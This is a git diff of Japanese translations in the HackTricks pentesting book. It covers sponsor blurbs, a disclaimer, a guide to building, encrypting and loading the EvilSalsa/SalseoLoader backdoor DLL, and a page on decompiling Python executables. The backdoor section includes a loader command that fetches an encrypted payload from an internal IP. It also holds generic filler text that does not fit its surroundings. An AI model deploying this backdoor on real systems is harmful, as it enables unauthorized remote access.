Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
54
README.md
|
@ -24,27 +24,27 @@ _あなたの会社もここに掲載されるかもしれません。_
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE** というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、レッドチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、レッドチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
|
||||
[**https://blog.stmcyber.com**](https://blog.stmcyber.com) で彼らの**ブログ**をチェックできます。
|
||||
[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で彼らの**ブログ**をチェックできます。
|
||||
|
||||
**STM Cyber** はまた、HackTricks のようなオープンソースのサイバーセキュリティプロジェクトもサポートしています :)
|
||||
**STM Cyber**は、HackTricksのようなオープンソースのサイバーセキュリティプロジェクトもサポートしています :)
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** は、**ヨーロッパで最も優れた**エシカルハッキングと**バグバウンティプラットフォーム**です。
|
||||
**Intigriti**は、**ヨーロッパで最も優れた**エシカルハッキングと**バグバウンティプラットフォーム**です。
|
||||
|
||||
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である **Intigriti** に**サインアップ**してみてください!今日から [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で報酬が最大 **$100,000** のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してみてください!今日から[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で報酬が最大**$100,000**のバウンティを獲得できます!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -53,9 +53,9 @@ _あなたの会社もここに掲載されるかもしれません。_
|
|||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化しましょう。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
|
||||
今すぐアクセスを取得してください:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -65,11 +65,11 @@ _あなたの会社もここに掲載されるかもしれません。_
|
|||
|
||||
サイバーセキュリティゲームで一歩先を行く。
|
||||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) は脆弱性管理を簡単にします。攻撃対象の範囲を把握し、企業が脆弱性を抱えている箇所を確認し、システムが最も公開されている問題に優先順位を付けることで、最も重要なことに集中できます。
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)は、脆弱性管理を簡単にします。攻撃対象の範囲を把握し、企業の脆弱性を確認し、システムの最も脆弱な問題に優先順位を付けることで、最も重要な問題に集中できます。
|
||||
|
||||
内部インフラストラクチャからWebアプリ、API、クラウドシステムまで、あなたの全ての技術スタックをカバーする単一のプラットフォームで数千のチェックを実行します。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。
|
||||
内部インフラストラクチャからWebアプリ、API、クラウドシステムまで、一つのプラットフォームで数千のチェックを実行できます。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure)とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。
|
||||
|
||||
Intruderは休むことはありません。24時間体制でシステムを監視します。詳細を知りたいですか?サイトを訪れて [**無料トライアル**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) を試してみてください。
|
||||
Intruderは休むことなく24時間体制でシステムを監視します。詳細を知りたいですか?サイトを訪れて[**無料トライアル**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)を試してみてください。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -77,18 +77,18 @@ Intruderは休むことはありません。24時間体制でシステムを監
|
|||
|
||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof はすべての暗号バグバウンティの場所です。**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProof のバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3 ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期の web3 セキュリティをマスターしましょう。
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3 ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProof にサインアップ**](https://hackenproof.com/register) して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -96,11 +96,11 @@ HackenProof のバウンティは、顧客が報酬予算を入金した後に
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護**するために**攻撃的なセキュリティサービス**を提供しています。
|
||||
[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から世界中のビジネスを保護**するために**攻撃的なセキュリティサービス**を提供しています。
|
||||
|
||||
WebSec は**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行っています。
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを提供しています。
|
||||
|
||||
WebSec のもう一つの素晴らしい点は、業界平均とは異なり、WebSec は**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私た
|
||||
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されており、最高品質の結果を保証しています。詳
|
||||
### [DragonJAR](https://www.dragonjar.org/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -117,15 +117,15 @@ WebSec のもう一つの素晴らしい点は、業界平均とは異なり、W
|
|||
## **免責事項**
|
||||
|
||||
{% hint style="danger" %}
|
||||
この書籍『HackTricks』は、教育および情報提供の目的でのみ使用することを意図しています。この書籍の内容は「現状のまま」提供されており、著者および出版者は、情報、製品、サービス、または関連するグラフィックスの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。したがって、そのような情報に依存することは、完全に自己の責任において行ってください。
|
||||
本書『HackTricks』は、教育および情報提供の目的でのみ使用することを意図しています。本書の内容は「現状のまま」提供されており、著者および出版者は、本書内の情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。したがって、そのような情報に依存することは、完全に自己責任で行ってください。
|
||||
|
||||
著者および出版者は、この書籍の使用に起因する、間接的または結果的な損失や損害、データの損失や利益の喪失を含む、いかなる損失や損害に対しても一切の責任を負いません。
|
||||
著者および出版者は、本書の使用に起因する、間接的または結果的な損失や損害、データの損失や利益の喪失を含む、いかなる損害や損失に対しても、一切の責任を負いません。
|
||||
|
||||
さらに、この書籍で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、この書籍に含まれる情報の使用は、ユーザー自身のリスクと裁量によるものです。
|
||||
さらに、本書で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、本書内の情報の使用は、ユーザー自身のリスクと裁量に基づくものです。
|
||||
|
||||
ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、ここに記載されている技術やヒントを実装しようとする場合は常に専門家の助言と支援を求めるべきです。
|
||||
ユーザーは、本書内の情報に基づいて行われるすべての行動について、自己責任であり、本書に記載されている技術やヒントを実装しようとする場合は常に専門家の助言と支援を求めるべきです。
|
||||
|
||||
この書籍を使用することで、ユーザーは著者および出版者を、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害からも免責し、責任を負わないことに同意します。
|
||||
本書の使用によって生じるいかなる損害、損失、または被害についても、ユーザーは著者および出版者を一切の責任から免責し、解放するものとします。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
|
||||
githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
|
||||
|
||||
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルしてください(Windowsがx64をサポートしている場合は、そのアーキテクチャにコンパイルします)。
|
||||
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャにコンパイルします)。
|
||||
|
||||
Visual Studio内で、**左側の"Build"タブ**の**"Platform Target"**でアーキテクチャを**選択**できます。
|
||||
|
||||
|
@ -30,7 +30,7 @@ Visual Studio内で、**左側の"Build"タブ**の**"Platform Target"**でア
|
|||
|
||||
## バックドアの準備
|
||||
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルすることができます:
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルすることができます:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -39,25 +39,29 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
### Windows
|
||||
|
||||
Windows(ウィンドウズ)は、マイクロソフトが開発したオペレーティングシステムです。Windowsには、バックドアを作成するためのさまざまな方法があります。以下にいくつかの一般的な方法を紹介します。
|
||||
Windowsは、バックドアを作成するためのさまざまな方法を提供します。以下にいくつかの一般的な手法を紹介します。
|
||||
|
||||
#### リモートデスクトップ
|
||||
|
||||
リモートデスクトップは、Windowsの標準機能であり、リモートでコンピュータにアクセスするためのプロトコルです。バックドアを作成するためには、リモートデスクトップを有効にし、適切な認証情報を使用してアクセスする必要があります。
|
||||
リモートデスクトップ(RDP)は、Windowsマシンにリモートでアクセスするための機能です。バックドアを作成するために、攻撃者はRDPを利用してWindowsマシンにアクセスし、システムに対する制御を取得します。
|
||||
|
||||
#### バックドアソフトウェア
|
||||
#### バックドアアプリケーション
|
||||
|
||||
バックドアソフトウェアは、Windowsにインストールされたプログラムやツールです。これらのソフトウェアは、システムにバックドアを作成し、リモートでアクセスするための機能を提供します。バックドアソフトウェアは、悪意のある攻撃者によってインストールされることもあります。
|
||||
バックドアアプリケーションは、システムに隠された裏口として機能するソフトウェアです。攻撃者は、バックドアアプリケーションをWindowsマシンにインストールし、システムに対するリモートアクセスやコントロールを可能にします。
|
||||
|
||||
#### サービスの改ざん
|
||||
|
||||
Windowsでは、サービスと呼ばれるバックグラウンドプロセスが実行されます。これらのサービスを改ざんすることで、バックドアを作成することができます。改ざんされたサービスは、システムの起動時に自動的に実行され、攻撃者によるリモートアクセスを可能にします。
|
||||
Windowsでは、サービスと呼ばれるバックグラウンドプロセスが実行されています。攻撃者は、サービスの改ざんを行い、バックドアを作成します。これにより、攻撃者はシステムに対する持続的なアクセスを確保することができます。
|
||||
|
||||
#### レジストリの変更
|
||||
#### レジストリの改ざん
|
||||
|
||||
Windowsのレジストリは、システムの設定情報を格納するデータベースです。レジストリを変更することで、バックドアを作成することができます。レジストリの変更は、システムの安定性に影響を与える可能性があるため、注意が必要です。
|
||||
Windowsのレジストリは、システムの設定情報を格納するデータベースです。攻撃者は、レジストリの改ざんを行い、バックドアを作成します。これにより、攻撃者はシステムに対するアクセスや制御を取得することができます。
|
||||
|
||||
これらは、Windowsでバックドアを作成するための一般的な方法の一部です。攻撃者は、これらの方法を使用してシステムに侵入し、機密情報を盗むなどの悪意のある行為を行うことがあります。セキュリティを強化するためには、適切な対策を講じる必要があります。
|
||||
#### マルウェアの使用
|
||||
|
||||
マルウェアは、悪意のあるソフトウェアのことを指します。攻撃者は、マルウェアを使用してバックドアを作成し、Windowsマシンに侵入します。マルウェアは、バックドアを作成するだけでなく、他の悪意のある活動を行うこともあります。
|
||||
|
||||
これらは、Windowsでバックドアを作成するための一般的な手法の一部です。攻撃者は、これらの手法を利用してシステムに侵入し、機密情報を盗み出すなどの悪意のある活動を行うことがあります。
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -111,7 +115,7 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
### メイン関数の前に\[DllExport]を追加します
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### このプロジェクトにDllExportをインストールします
|
||||
|
||||
|
@ -153,11 +157,11 @@ Visual Studioを**終了**します
|
|||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64)
|
||||
**x64** **プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームのターゲット = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
ソリューションをビルドするには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
|
||||
ソリューションを**ビルド**するには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
|
||||
|
||||
### 生成されたDLLをテストします
|
||||
|
||||
|
@ -184,7 +188,23 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It provides a way to interact with the system through text-based commands. CMD can be used to execute various commands, navigate through directories, run scripts, and perform administrative tasks. It is a powerful tool for both regular users and hackers, as it allows for direct control and manipulation of the system.
|
||||
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.
|
||||
|
||||
CMD provides a wide range of commands that can be used to carry out different operations. Some commonly used commands include:
|
||||
|
||||
- `cd`: Change directory
|
||||
- `dir`: List files and directories
|
||||
- `mkdir`: Create a new directory
|
||||
- `del`: Delete files
|
||||
- `copy`: Copy files
|
||||
- `move`: Move files
|
||||
- `ren`: Rename files
|
||||
- `tasklist`: List running processes
|
||||
- `taskkill`: Terminate a running process
|
||||
|
||||
CMD can also be used to execute batch scripts, which are a series of commands stored in a text file with the extension `.bat` or `.cmd`. Batch scripts allow users to automate repetitive tasks by running multiple commands sequentially.
|
||||
|
||||
Overall, CMD is a powerful tool for managing and controlling the Windows operating system through the command line interface.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
**ハッキングのキャリア**に興味があり、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -66,11 +66,11 @@ Unknown magic number 227 in /tmp/binary.pyc
|
|||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加する必要があります**:`0x0d550a0d000000000000000000000000`
|
||||
この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加**する必要があります:`0x0d550a0d000000000000000000000000`
|
||||
|
||||
この**マジックヘッダー**を追加した後、エラーは修正されるはずです。
|
||||
|
||||
これが正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です:
|
||||
以下は正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
@ -94,7 +94,7 @@ Pythonで書かれた実行可能ファイルかどうかを判断するため
|
|||
|
||||
### ImportError: ファイル名:'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません
|
||||
|
||||
現在、unpy2exeまたはpyinstxtractorを使用して取得したPythonバイトコードファイルは完全ではない場合があり、その結果、uncompyle6によってプレーンなPythonソースコードを取得することができません。これは、欠落しているPython **バイトコードバージョン番号**によるものです。そのため、prependオプションを追加しました。これにより、Pythonバイトコードバージョン番号が含まれ、デコンパイルのプロセスが容易になります。uncompyle6を使用して.pycファイルをデコンパイルしようとするとエラーが発生します。ただし、**prependオプションを使用すると、Pythonソースコードが正常にデコンパイルされたことが確認できます**。
|
||||
現在、unpy2exeまたはpyinstxtractorを使用して得られるPythonバイトコードファイルは完全ではない場合があり、その結果、uncompyle6によってプレーンなPythonソースコードを取得することができません。これは、欠落しているPython **バイトコードバージョン番号**によるものです。そのため、prependオプションを追加しました。これにより、Pythonバイトコードバージョン番号が含まれ、デコンパイルのプロセスが容易になります。uncompyle6を使用して.pycファイルをデコンパイルしようとするとエラーが返されます。ただし、**prependオプションを使用すると、Pythonソースコードが正常にデコンパイルされたことが確認できます**。
|
||||
```
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
|
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
```
|
||||
## Pythonアセンブリの分析
|
||||
|
||||
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、_.pyc_ バイナリをディスアセンブルするものです(コードのフローを理解するのに幸運を祈ります)。もし_.pyc_ がPython2のものであれば、Python2を使用してください。
|
||||
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、これは_.pyc_バイナリをディスアセンブルするためのものです(コードのフローを理解するのには幸運を祈ります)。もし_.pyc_がPython2のものであれば、Python2を使用してください。
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -159,11 +159,11 @@ True
|
|||
|
||||
まず、ペイロードがpy2exeとPyInstallerでコンパイルされる方法を紹介します。
|
||||
|
||||
### py2exeを使用してペイロードを作成する方法:
|
||||
### py2exeを使用してペイロードを作成する手順:
|
||||
|
||||
1. [http://www.py2exe.org/](http://www.py2exe.org)からpy2exeパッケージをインストールします。
|
||||
2. ペイロードには、この場合はhello.pyという名前を付けますが、図1のようなスクリプトを使用します。オプション「bundle\_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
|
||||
3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを実行します。これにより、図2のように実行可能ファイルが作成されます。
|
||||
2. ペイロードにはスクリプトを使用します(この場合、hello.pyという名前にします)。図1に示すようなスクリプトを使用します。オプション「bundle\_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
|
||||
3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを実行します。これにより、図2に示すように実行可能ファイルが作成されます。
|
||||
```
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし **ハッキングのキャリア** に興味があり、ハックできないものをハックしたい場合 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -221,7 +221,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
